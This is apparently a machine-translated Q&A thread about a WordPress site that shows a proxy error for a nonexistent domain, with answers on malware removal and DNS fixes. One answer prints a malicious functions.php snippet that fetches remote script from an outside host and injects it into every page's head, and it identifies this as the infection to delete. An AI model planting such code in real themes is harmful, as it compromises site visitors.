请帮助解决问题,因为我无法猜测如何解决它。
当我进入我的wordpress网站时,会出现以下消息:
The requested URL could not be retrieved
While trying to retrieve the URL: http://www1.ghost-bikes.dp.ua/?
The following error was encountered:
Unable to determine IP address from host name for www1.ghost-bikes.dp.ua
The dnsserver returned:
Name Error: The domain name does not exist.
This means that:
The cache was not able to resolve the hostname presented in the URL.
Check if the address is correct.
Your cache administrator is support.
Generated Wed, 21 Nov 2012 09:57:05 GMT by none (squid/3.0.STABLE20)
管理区域(/ wp-admin)通常打开并正常工作。 我想这是一种病毒。我该怎么办?
答案 0 :(得分:1)
打开主题functions.php
并查找以下代码:
if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”http://www.jqueryc.com/jquery-1.6.3.min.js”;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}
如果你找到它,只需删除它,你就可以了。
我刚在其他网站上发现了这样的问题 - 看here
答案 1 :(得分:0)
尝试逐个停用WordPress插件,看看消息是否消失。如果是这样,你就会知道它来自哪里。
答案 2 :(得分:0)
您正在使用代理服务器SQUID
你的鱿鱼找不到这个域名:www1.ghost-bikes.dp.ua 由于此域不存在 - 无法将此域解析为IP地址
所以,这不是与Wordpress相关的问题。这是一个DNS问题
已更新
似乎这个域名由Imena.com.ua提供 - 因此您应该登录imena.com.ua上的帐户,并在DNS记录中添加www1域名。
已更新
转到wordpress安装文件夹,尝试在文件中找到类似的内容:
<script type="text/javascript">
StaticRequestInfo={Referer:document.referrer};function EscapeBrowserFrame()
</script>
删除这些行。
答案 3 :(得分:-1)
登录托管环境的DNS面板并检查DNS设置。
如果那些没有解决它......你可以试试这个:
//在wp-config
define('WP_SITEURL','http://www.site.nl');
define('WP_HOME','http://www.site.nl');
//位于顶部的functions.php中。首次运行后删除。
update_option( 'SITEURL', 'http://www.site.nl');
update_option( '家', 'http://www.site.nl');
这将在整个站点中设置正确的URL或IP。